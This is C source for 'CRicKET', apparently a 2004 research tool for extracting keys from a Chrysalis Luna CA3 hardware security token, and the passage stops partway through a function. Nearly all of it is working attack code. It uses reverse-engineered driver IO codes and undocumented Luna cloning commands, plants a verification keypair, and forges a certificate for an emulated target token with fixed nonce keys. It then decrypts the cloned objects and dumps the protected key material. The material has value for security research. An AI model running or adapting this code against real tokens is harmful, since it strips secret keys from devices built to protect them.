/*********************** CRICKET 2004 ***************************/

/* Shell Type :  C Mk. IIb */
 
/* 
Filename : cricket.c
Created : 11th February 2004
Creator(s) : Michael Bond
Format : C
Compilation : windows standard libraries, pkcs#11 libraries
Detail : implementation of clone to software from chrysalis luna ca3 token

Version History (Defined as DATE VERSION REVISION SUBSIDIARY)

DATE            V.      R.      S.      INFO
25/01/04        1.0     1       1       Moved over code from 'sclone' project
17/02/04        1.0		1		2		More annotation and tidying of source
19/02/04        1.0     1       3       W2K compatibility
*/

// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Definitions  ************************************************** //
// ************************************************************************************************ //
// ################################################################################################ //

#define VERSION 1.0
#define REVISION 1.3

//------- IO control codes ---------
#define LUNA_TEST_TOKEN_PRESENCE		0x9C480000
#define LUNA_EXECUTE_INTERFACE3_CMD		0x9C480004
#define LUNA_READ_WINDOW				0x9C480008
#define LUNA_GET_INSERTION_COUNT		0x9C480020
#define LUNA_GET_NUMBER_OF_SLOTS		0x9C480040 
//#define LUNA_UNKNOWN1					0x9C4064C8

//------ memory handling ------------
#define MAX_OBJECT_SIZE 4096
#define MAX_OBJECTS 1000
#define MAX_STRING 1024

//------ local return values ---------
#define SUCCESS 0
#define FAILURE 1

#define RET_NO_ERROR 0
#define RET_ERROR 1

#define NO_TOKEN_PRESENT (-1)

//------- fixed keys and other constants -----

// these key values are arbitrary, apart from the fact that they
// should probably be odd parity. they are used as the value of
// the target nonce, both in the extractor and the decryptor,
// of course
#define FIXED_KEYPART_A 0x01 , 0x02, 0x01 , 0x02, 0x01 , 0x02, 0x01 , 0x02
#define	FIXED_KEYPART_B 0x01 , 0x04, 0x01 , 0x04, 0x01 , 0x04, 0x01 , 0x04
#define	FIXED_KEYPART_C 0x01 , 0x08, 0x01 , 0x08, 0x01 , 0x08, 0x01 , 0x08		

// this is the serial number of the emulated target token
// used in the fake certificate, and in the manufacturing of
// the transport key
#define TARGET_SERIAL 0x7B00

// this is the identifier of the CVK private key
// that is left stored in the token, and whose public
// half is put in the CVK slot. it is used to look up
// the private key and retrieve a handle
//#define ID_CVK_KEY 104
#define ID_CVK_KEY 120

// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Inclusions  *************************************************** //
// ************************************************************************************************ //
// ################################################################################################ //

#include <windows.h>		// for windows DLL and device driver IO
#include "cryptoki.h"		// pkcs11 interface
#include <stdio.h>			// for printf() and file IO
#include <conio.h>			// for getch()
#include <ctype.h>			// for isalnum() in hex dump routine

// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Prototypes  *************************************************** //
// ************************************************************************************************ //
// ################################################################################################ //

//----------------------------------- support functions ---------------------------------------------

void error_exit(char *string);

void dump_data(UCHAR *data, int len);
void ascii_dump(UCHAR *data, int len);

void init_pkcs_lib(void);
void init_pkcs_funcs(void);
void initialise_all(void);

void init_pkcs_session(void);
void end_pkcs_session(void);

//--------------------------- program flow components for extractor ---------------------------------

int extract_and_save_objects(void);
void list_objects(DWORD *object_list,DWORD *object_count);
void make_keys(void);
void list_all(void);

int prepare_clone_extract(void);
int extract_clone_object(DWORD objectID,UCHAR *clear_reply,UCHAR *encrypted_object,DWORD *encrypted_len);

void make_CVK_keypair(void);
int get_source_cert(UCHAR *src_cert,DWORD *src_cert_len);
void make_key_cln_req(UCHAR *encrypted_req,DWORD *encrypted_req_len,UCHAR *src_cert,DWORD src_cert_len);
void get_cvk_handle(DWORD *handle);
void make_software_cert(void *message,DWORD *message_len);

int decrypt_clone_reply(UCHAR *clear_reply,UCHAR* encrypted_reply);

//--------------------------- program flow components for decryptor ---------------------------------

int decrypt_clone_object(UCHAR *clear_object,DWORD *clear_len,UCHAR* clear_cln_rep,UCHAR *encrypted_object,DWORD encrypted_len,DWORD source_serial);

void make_transport_key(UCHAR *transport_key, UCHAR *kcv_raw, UCHAR *clear_cln_rep, DWORD source_serial);

//----------------------------- "CRYPTO" - decryption abstraction layer -----------------------------

void CRYPTO_decrypt_3DES_CBC(UCHAR *dest,UCHAR *source,DWORD len, UCHAR *key, UCHAR *iv);
void CRYPTO_SHA1(UCHAR *dest,UCHAR *source, DWORD source_len);
void CRYPTO_MD5(UCHAR *dest,UCHAR *source, DWORD source_len);

// "CRYPTO" - internal functions implementing CRYPTO primitives using PCKS#11
void set_3DES_key(UCHAR *key);
void decrypt_3DES_block(UCHAR *dest,UCHAR *source,UCHAR *iv);
void clear_3DES_key(void);
void get_datakey(UCHAR *data);

//-------------------------- undocumented reverse engineered functions ------------------------------

// driver functions
int driver_io(DWORD control,UCHAR *buffer);
void init_cr0_driver(void);
DWORD get_slotID(void);

// driver io commands
void do_read_window(void);
int test_token_pres(UCHAR slot);
int get_num_slots(void);

// luna API commands
DWORD do_LUNA_GET_FPV(void);
DWORD do_LUNA_GET_SERIAL(void);
int do_LUNA_CLONE_AS_SOURCE(UCHAR *enc_cln_req,UCHAR *tgt_cert,UCHAR *enc_cln_reply,UCHAR *enc_key,DWORD *enc_key_len,DWORD objectID);
int do_LUNA_LOAD_CUST_VERIFICATION_KEY(UCHAR *modulus);

//------------------------------------- PKCS#11 functions --------------------------------------------
CK_RV (*MKB_C_Initialize)(CK_VOID_PTR *pInitArgs);
CK_RV (*PROC_C_OpenSession)(DWORD slotID, DWORD flags, void *ptr_app,DWORD *notify,DWORD *phSession);
CK_RV (*PROC_C_CloseSession)(DWORD hSession);
CK_RV (*PROC_C_Login)(DWORD hSession, DWORD userType, void *PIN, DWORD PINlen);
CK_RV (*PROC_C_Logout)(DWORD hSession);
CK_RV (*PROC_C_FindObjects)(DWORD hSession,DWORD *handles,DWORD max,DWORD *num_objects);
CK_RV (*PROC_C_FindObjectsInit)(DWORD hSession,void *pTemplate,DWORD attribute_count);
CK_RV (*PROC_C_FindObjectsFinal)(DWORD hSession);
CK_RV (*MKB_C_GetInfo)(void *ptr);
CK_RV (*MKB_CA_GetFPV)(int slotid,void *dest);
CK_RV (*MKB_CA_GetModuleList)(int slotid,int dest1,int dest2,void *dest3);
CK_RV (*PROC_CA_ClonePrivateKey)(DWORD dest,DWORD src,DWORD objectID,void *stuff);
CK_RV (*PROC_C_CreateObject)(DWORD session,void *ttemplate, DWORD num_attr,DWORD *handle);
CK_RV (*PROC_C_WrapKey)(DWORD session, void *mech, DWORD wrap_key, DWORD key,void *result,DWORD *result_len);
CK_RV (*PROC_C_UnwrapKey)(DWORD session, void *mech, DWORD handle_key, void *wrapped_key, DWORD wrapped_key_len, void *ttemplate, DWORD attr_count, DWORD *handle_result);
CK_RV (*PROC_C_EncryptInit)(DWORD session,void *mech,DWORD key);
CK_RV (*PROC_C_Encrypt)(DWORD session,void *data,DWORD data_len,void *result,DWORD *result_len);
CK_RV (*PROC_C_DecryptInit)(DWORD session,void *mech,DWORD key);
CK_RV (*PROC_C_Decrypt)(DWORD session,void *enc_data,DWORD enc_data_len,void *result,DWORD *result_len);
CK_RV (*PROC_C_SignInit)(DWORD session,void *mech, DWORD key);
CK_RV (*PROC_C_Sign)(DWORD session, void *data, DWORD data_len, void *signature, DWORD *signature_len);
CK_RV (*PROC_C_DigestInit)(DWORD session,void *mech);
CK_RV (*PROC_C_Digest)(DWORD session, void *data,DWORD data_len,void *digest,DWORD *digest_len);
CK_RV (*PROC_C_GenerateKeyPair)(DWORD session, void *mech, void *pub_template, DWORD pub_attr_count,void *priv_template,DWORD priv_attr_count, DWORD *pub_handle, DWORD *priv_handle);
CK_RV (*PROC_C_GenerateKey)(DWORD session,void *mech, void *ttemplate,DWORD attr_count, DWORD *handle);
CK_RV (*PROC_C_DestroyObject)(DWORD session,DWORD handle);
CK_RV (*PROC_C_GetAttributeValue)(DWORD session, DWORD obj_handle,void *ttemplate,DWORD attr_count);
CK_RV (*PROC_CA_SetTokenCertificateSignature)(DWORD slotID, DWORD two, DWORD three, DWORD four, DWORD five , DWORD six, DWORD seven);

// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Global Variables / Structurues  ******************************* //
// ************************************************************************************************ //
// ################################################################################################ //

HANDLE lunacr0=NULL;
HANDLE lunant=NULL;

DWORD slotID=0;			// slot ID for source token (driver encoding)
DWORD session=0;		// session ID for comms with source (PKCS#11 encoding)

DWORD privkey_decryptor_handle=0;

DWORD des_key_handle=0;

DWORD global_login_mode;
DWORD logged_in=FALSE;

// ################################################################################################ //
//************************************************************************************************* //
// ******************************** Main Function ************************************************* //
// ************************************************************************************************ //
// ################################################################################################ //
	
int main(int argc,char *argv[])
	{
	// this is the main function for the cricket program. it parses command
	// line options and selects from the different major functionality.

	//----------- declare variables ----------
	DWORD fpv=0;	
	
	UCHAR *encrypted_object;
	UCHAR *clear_reply;
	UCHAR *clear_object;

	DWORD encrypted_len=0;
	DWORD clear_len=0;

	int result;

	//------------- parse command line options ---------------

	printf("CRicKET - ChRysalis Key Extraction Tool  V%1.1f R%1.1f\n",VERSION,REVISION);
	printf("\n*** W2K VERSION ***\n");
	
	if( argc <= 1 )
		{		
		printf("\n"
			   "usage: cricket -prepare\n"
			   "       cricket -extract     <objectID>\n"
			   "       cricket -extractall\n"
			   "       cricket -listall\n"
			   "       cricket -makekeys\n"
			   "       cricket -decrypt     <objectID>\n"
			   "       cricket -dump        <objectID>\n"
			   "       cricket -delete      <objectID>\n"
		       "       cricket -test\n"
			   "       cricket -help\n");
		       
		exit(1);
		}

	if( argc == 2 && !stricmp(argv[1],"-help") )
		{
		printf("\n"
			   "usage: cricket -prepare\n"
			   "       cricket -extract     <objectID>\n"
			   "       cricket -listall\n"
			   "       cricket -makekeys\n"
			   "       cricket -decrypt     <objectID>\n"
			   "       cricket -dump        <objectID>\n"
			   "       cricket -delete      <objectID>\n"
		       "       cricket -test\n"
			   "       cricket -help\n");
		       
		exit(1);		
		}
	
	if( argc == 2 && !stricmp(argv[1],"-makekeys") )
		{
		initialise_all();

		make_keys();
		}
	
	if( argc == 2 && !stricmp(argv[1],"-listall") )
		{
		list_all();
		}

	if( argc == 2 && !stricmp(argv[1],"-test") )
		{
		DWORD fpv;
		DWORD serial;

		initialise_all();

		fpv=do_LUNA_GET_FPV();

		printf("FPV = 0x%08X\n",fpv);

		serial=do_LUNA_GET_SERIAL();

		printf("SERIAL = 0x%08X\n",serial);

		}

	if( argc == 2 && !stricmp(argv[1],"-prepare") )
		{
		initialise_all();

		make_CVK_keypair();
		}

	if( argc == 3 && !stricmp(argv[1],"-delete") )
		{
		DWORD objectID;
		CK_RV r;
		char c;

		sscanf(argv[2],"%d",&objectID);

		//---------- perform delete --------------

		printf("You want to destroy object ID '%d'? Press 'Y' to continue\n",objectID);
		
		c=getch();

		if( c != 'Y' && c !='y' )
			error_exit("object deletion not authorised by user.\n");

		initialise_all();
		

		r=PROC_C_DestroyObject(session,objectID);

		if( r != CKR_OK )
			{
			if( logged_in == TRUE )
				end_pkcs_session();
			error_exit("error destroying object\n");
			}

		}

	if( argc == 3 && !stricmp(argv[1],"-dump") )
		{
		DWORD objectID;
		DWORD source_serial;

		sscanf(argv[2],"%d",&objectID);

		//----------- mallocate storage ----------

		encrypted_object=malloc(MAX_OBJECT_SIZE);
		clear_reply=malloc(MAX_OBJECT_SIZE);
		clear_object=malloc(MAX_OBJECT_SIZE);

		if( !encrypted_object || !clear_object || !clear_reply )
			error_exit("memory allocation error.\n");
	
		//---------- perform cloning --------------

		initialise_all();
		
		result=extract_clone_object(objectID,clear_reply,encrypted_object,&encrypted_len);

		if( result == FAILURE )
			error_exit("extraction of clone object failed.\n");

		source_serial=do_LUNA_GET_SERIAL();

		result=decrypt_clone_object(clear_object,&clear_len,clear_reply,encrypted_object,encrypted_len,source_serial);

		if( result == FAILURE )
			error_exit("decryption of clone object failed.\n");

		dump_data(clear_object,clear_len);
		printf("\n\n");
		ascii_dump(clear_object,clear_len);
		}

	if( argc == 3 && !stricmp(argv[1],"-extract") )
		{
		DWORD objectID;
		DWORD source_serial;

		DWORD len;
		FILE *fp;
		char filename[80];

		sscanf(argv[2],"%d",&objectID);

		//----------- mallocate storage ----------

		encrypted_object=malloc(MAX_OBJECT_SIZE);
		clear_reply=malloc(MAX_OBJECT_SIZE);
		clear_object=malloc(MAX_OBJECT_SIZE);

		if( !encrypted_object || !clear_object || !clear_reply )
			error_exit("memory allocation error.\n");
	
		//---------- perform cloning --------------

		initialise_all();

		
		result=extract_clone_object(objectID,clear_reply,encrypted_object,&encrypted_len);

		source_serial=do_LUNA_GET_SERIAL();

		if( result == FAILURE )
			error_exit("extraction of clone object failed.\n");

		sprintf(filename,"object%d.enc",objectID);
		fp=fopen(filename,"wb");

		if( fp == NULL )
			error_exit("error opening object file for writing.\n");

		len=0x80;
		fwrite(&len,1,4,fp);
		fwrite(clear_reply,1,80,fp);

		fwrite(&encrypted_len,1,4,fp);
		fwrite(encrypted_object,1,encrypted_len,fp);
		fwrite(&source_serial,1,4,fp);
		
		fclose(fp);

		printf("Encrypted object data written to '%s'.\n",filename);
		}

	if( argc == 3 && !stricmp(argv[1],"-decrypt") )
		{
		DWORD objectID;
		DWORD source_serial;
		DWORD len;
		FILE *fp;
		char filename[80];

		sscanf(argv[2],"%d",&objectID);

		//----------- mallocate storage ----------

		encrypted_object=malloc(MAX_OBJECT_SIZE);
		clear_reply=malloc(MAX_OBJECT_SIZE);
		clear_object=malloc(MAX_OBJECT_SIZE);

		if( !encrypted_object || !clear_object || !clear_reply )
			error_exit("memory allocation error.\n");

		
		//------------ read data from file ------------

		sprintf(filename,"object%d.enc",objectID);
		fp=fopen(filename,"rb");

		if( fp == NULL )
			{
			printf("could not open file '%s' for reading.\n",filename);
			error_exit("error opening object file for reading.\n");
			}

		len=0x80;
		fread(&len,1,4,fp);
		fread(clear_reply,1,80,fp);

		fread(&encrypted_len,1,4,fp);
		fread(encrypted_object,1,encrypted_len,fp);
		fread(&source_serial,1,4,fp);
		
		fclose(fp);

		printf("Encrypted object data loaded from '%s'.\n",filename);

		//---------- perform cloning --------------

		initialise_all();

		result=decrypt_clone_object(clear_object,&clear_len,clear_reply,encrypted_object,encrypted_len,source_serial);

		if( result == FAILURE )
			error_exit("decryption of clone object failed.\n");

		dump_data(clear_object,clear_len);
		printf("\n\n");
		ascii_dump(clear_object,clear_len);
		}

	// logout and close session

	if( logged_in == TRUE )
		end_pkcs_session();

	//-------- shutdown drivers --------------

	
	CloseHandle(lunacr0);
	CloseHandle(lunant);
	
	printf("\nPress any key...\n");
	getch();

	return RET_NO_ERROR;
	}

// ################################################################################################ //
//************************************************************************************************* //
// ****************************** Documented Functions ******************************************** //
// ************************************************************************************************ //
// ################################################################################################ //

//-----------------------------------------------------------------------------------------------
//--------------------------------- error_exit --------------------------------------------------
//-----------------------------------------------------------------------------------------------

void error_exit(char *string)
	{
	// this function is called to quit out of the program
	// nearly all errors in the program are treated as fatal
	// and call this function

	printf("ERROR: %s",string);
	
	if( logged_in == TRUE )
		end_pkcs_session();

	printf("Press any key...\n");
	getch();

	exit(RET_ERROR);
	}






//-----------------------------------------------------------------------------------------------
//----------------------------------- dump_data --------------------------------------------------
//-----------------------------------------------------------------------------------------------

void dump_data(UCHAR *data, int len)
	{
	// this function sends to stdout a hex dump of data
	// at the address pointed to by 'data'

	int count;

	//printf("data address : 0x%08X  (len 0x%X (%d)) ",data,len,len);
	for(count=0;count<len;count++)
		{
		if( (count % 16) == 0 )
			printf("\n%04X:\t",count);
		
		if( (count % 8) == 0 )
			printf("  ");
		
		if( (count % 4) == 0 )
			printf(" ");
		
		printf("%02X ",(UCHAR)data[count]);
		}
	printf("\n");
	}

//-----------------------------------------------------------------------------------------------
//---------------------------------- ascii_dump -------------------------------------------------
//-----------------------------------------------------------------------------------------------

void ascii_dump(UCHAR *data, int len)
	{
	// this function makes an ASCII dump of printable
	// characters at the address pointed to by 'data'

	int count;

	//printf("data address : 0x%08X  (len 0x%X (%d)) ",data,len,len);
	for(count=0;count<len;count++)
		{
		if( (count % 32) == 0 )
			printf("\n%04X:\t",count);
		
		if( (count % 16) == 0 )
			printf("  ");
		
		if( (count % 8) == 0 )
			printf(" ");
		
		if( isgraph(data[count]) )
			printf("%c",(UCHAR)data[count]);
		else
			printf(".");
		}
	printf("\n");
	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- prepare_clone_extract ---------------------------------------
//-----------------------------------------------------------------------------------------------

int prepare_clone_extract(void)
	{
	return SUCCESS;
	}

//-----------------------------------------------------------------------------------------------
//--------------------------------- extract_clone_object ----------------------------------------
//-----------------------------------------------------------------------------------------------

int extract_clone_object(DWORD objectID,UCHAR *clear_reply,UCHAR *encrypted_object,DWORD *encrypted_len)
	{
	// this function is the top-level call made by the extraction program, which serves to create the
	// necessary arguments and call a LUNA_CLONE_AS_SOURCE command to retrieve an encrypted application
	// key. it also retrieves the encrypted target nonce (in a LUNA_CLN_REP message), and decrypts it,
	// returning it into the clear. These two data items -- the encrypted application key 'encrypted_object'
	// and the 'clear_reply' should be passed to decrypt_clone_object, or stored in a file and passed
	// to decrypt_clone_object at a later time. 'objectID' is a handle to the object to extract.

	UCHAR src_cert[MAX_OBJECT_SIZE];
	UCHAR tgt_cert[MAX_OBJECT_SIZE];
	UCHAR encrypted_req[MAX_OBJECT_SIZE];
	UCHAR encrypted_rep[MAX_OBJECT_SIZE];
	UCHAR encrypted_app_key[MAX_OBJECT_SIZE];
	DWORD src_cert_len=0;
	DWORD tgt_cert_len=0;
	DWORD encrypted_req_len=0;
	DWORD encrypted_app_key_len=0;
	
	get_source_cert(src_cert,&src_cert_len);
	
	make_key_cln_req(encrypted_req,&encrypted_req_len,src_cert,src_cert_len);
	make_software_cert(tgt_cert,&tgt_cert_len);

	do_LUNA_CLONE_AS_SOURCE(encrypted_req,tgt_cert,encrypted_rep,encrypted_app_key,&encrypted_app_key_len,objectID);

	//printf("encrypted_app_key_len = 0x%X\n",encrypted_app_key_len);
	
	decrypt_clone_reply(clear_reply,encrypted_rep);
	
	memcpy(encrypted_object,encrypted_app_key,encrypted_app_key_len);
	*encrypted_len=encrypted_app_key_len;

	
	return SUCCESS;
	}

//-----------------------------------------------------------------------------------------------
//------------------------------- init_pkcs_funcs -----------------------------------------------
//-----------------------------------------------------------------------------------------------

void init_pkcs_funcs(void)
	{
	// this function dynamically links to the PCKS#11 functions in cryst201.dll
	// it uses the Win32 LoadLibraryEx command and then GetProcAddress to retrieve
	// the entry points for the functions. The function prototypes were set up
	// as per the PKCS#11 specification, except with simplified type information
	// of DWORDs and void pointers

	HMODULE dll;

	dll=LoadLibraryEx("c:\\Program Files\\luna\\cryst201.dll",NULL,0);

	MKB_C_Initialize=(unsigned long (*)(void **)) GetProcAddress(dll,"C_Initialize");
	MKB_C_GetInfo=(unsigned long (*)(void *)) GetProcAddress(dll,"C_GetInfo");
	MKB_CA_GetFPV=(unsigned long (*)(int,void *)) GetProcAddress(dll,"CA_GetFPV");
	MKB_CA_GetModuleList=(unsigned long (*)(int, int, int, void *)) GetProcAddress(dll,"CA_GetModuleList");

	PROC_C_OpenSession=(DWORD (*)(DWORD , DWORD , void *,DWORD *,DWORD *)) GetProcAddress(dll,"C_OpenSession");
	PROC_C_CloseSession=(DWORD (*)(DWORD)) GetProcAddress(dll,"C_CloseSession");

	PROC_C_Login=(DWORD (*)(DWORD, DWORD ,void *, DWORD)) GetProcAddress(dll,"C_Login");
	PROC_C_Logout=(DWORD (*)(DWORD)) GetProcAddress(dll,"C_Logout");

	PROC_C_FindObjectsInit=(DWORD (*)(DWORD ,void *,DWORD)) GetProcAddress(dll,"C_FindObjectsInit");
	PROC_C_FindObjects=(DWORD (*)(DWORD,DWORD *,DWORD ,DWORD *)) GetProcAddress(dll,"C_FindObjects");
	PROC_C_FindObjectsFinal=(DWORD (*)(DWORD)) GetProcAddress(dll,"C_FindObjectsFinal");

	PROC_CA_ClonePrivateKey=(DWORD (*)(DWORD,DWORD,DWORD,void*)) GetProcAddress(dll,"CA_ClonePrivateKey");

	PROC_C_CreateObject=(DWORD (*)(DWORD,void*,DWORD,DWORD*)) GetProcAddress(dll,"C_CreateObject");

	PROC_C_WrapKey=(DWORD (*)(DWORD, void *, DWORD, DWORD, void *,DWORD *)) GetProcAddress(dll,"C_WrapKey");
	PROC_C_UnwrapKey=(DWORD (*)(DWORD, void *, DWORD , void *, DWORD, void *, DWORD ,DWORD *)) GetProcAddress(dll,"C_UnwrapKey");

	PROC_C_EncryptInit=(DWORD (*)(DWORD ,void *,DWORD)) GetProcAddress(dll,"C_EncryptInit");
	PROC_C_Encrypt=(DWORD (*)(DWORD ,void *,DWORD ,void *,DWORD *)) GetProcAddress(dll,"C_Encrypt");

	PROC_C_GenerateKeyPair=(DWORD (*)(DWORD , void *, void *, DWORD ,void *,DWORD , DWORD *, DWORD *)) GetProcAddress(dll,"C_GenerateKeyPair");
	PROC_C_GenerateKey=(DWORD (*)(DWORD ,void *, void *,DWORD , DWORD *)) GetProcAddress(dll,"C_GenerateKey");
	
	PROC_C_DestroyObject=(DWORD (*)(DWORD ,DWORD )) GetProcAddress(dll,"C_DestroyObject");

	PROC_C_GetAttributeValue=(DWORD (*)(DWORD , DWORD ,void *,DWORD )) GetProcAddress(dll,"C_GetAttributeValue");

	PROC_CA_SetTokenCertificateSignature=(DWORD (*)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD)) GetProcAddress(dll,"CA_SetTokenCertificateSignature");

	PROC_C_SignInit=(DWORD (*)(DWORD ,void *, DWORD )) GetProcAddress(dll,"C_SignInit");
	PROC_C_Sign=(DWORD (*)(DWORD , void *, DWORD , void *, DWORD * )) GetProcAddress(dll,"C_Sign");

	PROC_C_DigestInit=(DWORD (*)(DWORD ,void *)) GetProcAddress(dll,"C_DigestInit");
	PROC_C_Digest=(DWORD (*)(DWORD , void *,DWORD ,void *,DWORD *)) GetProcAddress(dll,"C_Digest");

	PROC_C_DecryptInit=(DWORD (*)(DWORD ,void *,DWORD )) GetProcAddress(dll,"C_DecryptInit");
	PROC_C_Decrypt=(DWORD (*)(DWORD ,void *,DWORD ,void *,DWORD *)) GetProcAddress(dll,"C_Decrypt");
	}

//-----------------------------------------------------------------------------------------------
//------------------------------- init_pkcs_lib -------------------------------------------------
//-----------------------------------------------------------------------------------------------

void init_pkcs_lib(void)
	{
	// this function initialises the PKCS#11 library for communications
	// it must be called before any PCKS#11 calls are made. because the
	// CRYPTO abstraction layer in this device uses PCKS#11 internally,
	// this initialisation stage must be done before CRYPTO abstraction
	// commands can be called.

	CK_RV r;
	CK_INFO info;
	
	r=0;

	r = MKB_C_Initialize(NULL_PTR); 
	if (r != CKR_OK) 
		{ 
		printf("C_Initialize() failed - code 0x%x\n", r); 
		getch();
		exit(1); 
		} 

	//printf("C_Initialize() succeeded!\n"); 

	//--------------------------------------------------------------------------------


	r = MKB_C_GetInfo(&info); 

	if (r != CKR_OK) 
		{ 
		printf("C_GetInfo() failed - code 0x%x\n", r); 
		getch();
		exit(1); 
		} 

	//printf("library version: %s\n", info.libraryDescription); 
	}

//-----------------------------------------------------------------------------------------------
//------------------------------- init_pkcs_session ---------------------------------------------
//-----------------------------------------------------------------------------------------------

void init_pkcs_session(void)
	{
	// this command opens a PCKS#11 session, and logs in
	// the global variable 'session' stores the session handle
	
	CK_RV r;
	DWORD object_count=0;
	DWORD *object_list;
	DWORD mode=0;
	int c;
		
	object_list=(DWORD *)malloc(MAX_OBJECTS*sizeof(DWORD));

	if( object_list == NULL )
		error_exit("memory allocation error.\n");

	//---------------------------- open session on source slot ------------------------

	r=PROC_C_OpenSession(1,(CKF_RW_SESSION | CKF_SERIAL_SESSION),NULL,NULL,&session);

	if( r != CKR_OK )
		error_exit("failed to open source session.\n");

	//printf("SOURCE Session Opened. (ID = %d)\n",session);
	
	//------------------------------- login on source slot ------------------------------

	printf("\nLog-on as... \n\n"
		   "1. User             (BLACK PED key) or\n"
		   "2. Security Officer (BLUE  PED key)\n\n"
		   "If preparing CVK, log on as Security Officer. If extracting\n"
		   "key material, log-on as the owner of the key material.\n\n");

	c=getch();

	if( c == '1' )
		mode=CKU_USER;
	if( c == '2' )
		mode=CKU_SO;
	if( c != '1' && c != '2' )
		error_exit("Invalid choice. Restart and choose 1 or 2. Exiting.\n");

	printf("\nLogging on to source token... ");
	r=PROC_C_Login(session, mode , NULL , 0 );

	if( r != CKR_OK )
		error_exit("\n\nfailed to log in to source\n");
		
	logged_in=TRUE;
	global_login_mode=mode;

	printf("done\n");
	//printf("SOURCE Login successful.\n",session);
	
	//------------------------------- find objects on source slot ------------------------
	
	//printf("\n\n................ SOURCE\n\n");
	//list_objects(session,object_list,&object_count);
	//printf("\n\n");
	}

//-----------------------------------------------------------------------------------------------
//------------------------------- end_pkcs_session ---------------------------------------------
//-----------------------------------------------------------------------------------------------

void end_pkcs_session(void)
	{
	// this command logs out of the token, then closes the PCKS#11 session
	
	CK_RV r;

	//---------------------------- logout on source slot ------------------------

		r=PROC_C_Logout(session);

		if( r != CKR_OK )
			error_exit("failed to logout on source session.\n");

		logged_in=FALSE;

		//---------------------------- close session on source slot ------------------------

		r=PROC_C_CloseSession(session);

		if( r != CKR_OK )
			error_exit("failed to close source session.\n");

	printf("logged out and session closed.\n");
	}

//-----------------------------------------------------------------------------------------------
//------------------------------- initialise_all ------------------------------------------------
//-----------------------------------------------------------------------------------------------

void initialise_all(void)
	{
	// this command dynamically links to the chrysalis PKCS#11 
	// DLL, then initialises PCKS#11, opens a session and logs
	// in. It needs to be done before any key extraction is performed
	// It also initialises the device driver connection used for
	// sending the special LUNA API commands.

	//----- init pkcs11 lib interaction -------

	init_pkcs_funcs();
	init_pkcs_lib();
	init_pkcs_session();

	//---- initialise driver and vars -----------
	init_cr0_driver();

	slotID=get_slotID();

	if( slotID == NO_TOKEN_PRESENT )
		error_exit("no token inserted.\n");
	}


//-----------------------------------------------------------------------------------------------
//---------------------------------- list_objects -----------------------------------------------
//-----------------------------------------------------------------------------------------------

void list_objects(DWORD *object_list,DWORD *object_count)
	{
	// this command lists the objects on the token. it's not actually 
	// used for much.

	CK_RV r;	
	
	CK_ATTRIBUTE obj_template[] = { {CKA_KEY_TYPE,NULL_PTR,0} };

	r=PROC_C_FindObjectsInit(session,NULL,0);

	if( r != CKR_OK )
		error_exit("C_FindObjectsInit command failed.\n");

	r=PROC_C_FindObjects(session, object_list , (DWORD)MAX_OBJECTS , object_count );

	if( r != CKR_OK )
		error_exit("C_FindObjects command failed.\n");

	r=PROC_C_FindObjectsFinal(session);

	if( r != CKR_OK )
		error_exit("C_FindObjectsFinal command failed.\n");

	}

//-----------------------------------------------------------------------------------------------
//---------------------------------- make_software_cert -----------------------------------------
//-----------------------------------------------------------------------------------------------

void make_software_cert(void *message,DWORD *message_len)
	{
	CK_RV r;
	
	DWORD pub_handle;
	DWORD priv_handle;

	DWORD cvk_signer_handle;
	//DWORD privkey_decryptor_handle;

	CK_BYTE *modulus=(CK_BYTE *)malloc(4096);
	DWORD modulus_len=4096;

	UCHAR *software_cert=(UCHAR *)malloc(4096);
	DWORD val;
	UCHAR b;

	CK_ATTRIBUTE attrTemplate[] =
		{
			{CKA_MODULUS,			modulus,		modulus_len}
		};

	//-------------------- generate a keypair for our software token ----------------------

	CK_MECHANISM mechanism = { CKM_RSA_PKCS_KEY_PAIR_GEN , NULL_PTR , 0 };

	CK_ULONG modulusBits = 1024;
	CK_BYTE publicExponent[] = { 0x3 };
	CK_BYTE id[] = {177};
	CK_BYTE subject[] = { 'k' , 'n' , 'o' , 'w' , 'n' , '1' };
	CK_BBOOL cktrue = TRUE;
	CK_BBOOL ckfalse = FALSE;

	
	CK_ATTRIBUTE publicKeyTemplate[] =
		{
			{CKA_ENCRYPT,			&cktrue,		sizeof(cktrue)},
			{CKA_VERIFY,			&cktrue,		sizeof(cktrue)},
			{CKA_WRAP,				&cktrue,		sizeof(cktrue)},
			{CKA_MODULUS_BITS,		&modulusBits,	sizeof(modulusBits)},
			{CKA_PUBLIC_EXPONENT,	publicExponent,	sizeof(publicExponent)},
			//{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)},
			//{CKA_SENSITIVE,			&ckfalse,		sizeof(ckfalse)}		
		};

	CK_ATTRIBUTE privateKeyTemplate[] =
		{
			{CKA_TOKEN,				&cktrue,		sizeof(cktrue)},
			{CKA_PRIVATE,			&cktrue,		sizeof(cktrue)},
			{CKA_SUBJECT,			&subject,		sizeof(subject)},
			{CKA_ID,				id,				sizeof(id)},
			{CKA_SENSITIVE,			&cktrue,		sizeof(cktrue)},
			{CKA_DECRYPT,			&cktrue,		sizeof(cktrue)},
			{CKA_SIGN,				&cktrue,		sizeof(cktrue)},
			{CKA_UNWRAP,			&cktrue,		sizeof(cktrue)},
			{CKA_EXTRACTABLE,		&cktrue,		sizeof(cktrue)}
		};

	CK_MECHANISM mech_sign = { CKM_SHA1_RSA_PKCS , NULL , 0 };

	CK_BYTE *signed_cert=(CK_BYTE *)malloc(4096);
	DWORD len_signed_cert=4096;

	r=PROC_C_GenerateKeyPair(session,&mechanism,publicKeyTemplate,5,privateKeyTemplate,9,&pub_handle,&priv_handle);

	if (r != CKR_OK) 
		{ 
		printf("C_GenerateKeyPair() failed - code 0x%x\n", r); 
		error_exit("Generate KeyPair failed.\n");
		} 	
	
	//printf("PUBKEY = %d , PRIVKEY = %d\n",pub_handle,priv_handle);
	
	privkey_decryptor_handle=priv_handle;

	//-------------------------- extract keypair data to form cert --------------------------


	r=PROC_C_GetAttributeValue(session,pub_handle,attrTemplate,1);

	if (r != CKR_OK) 
		{ 
		printf("C_GetAttributeValue() failed - code 0x%x\n", r); 
		error_exit("GetAttributeValue failed.\n");
		} 	
	
	//printf("modulus len = 0x%X ( %d )\n",modulus_len,modulus_len);
	//printf("modulus = \n");
	//dump_data(modulus,128);

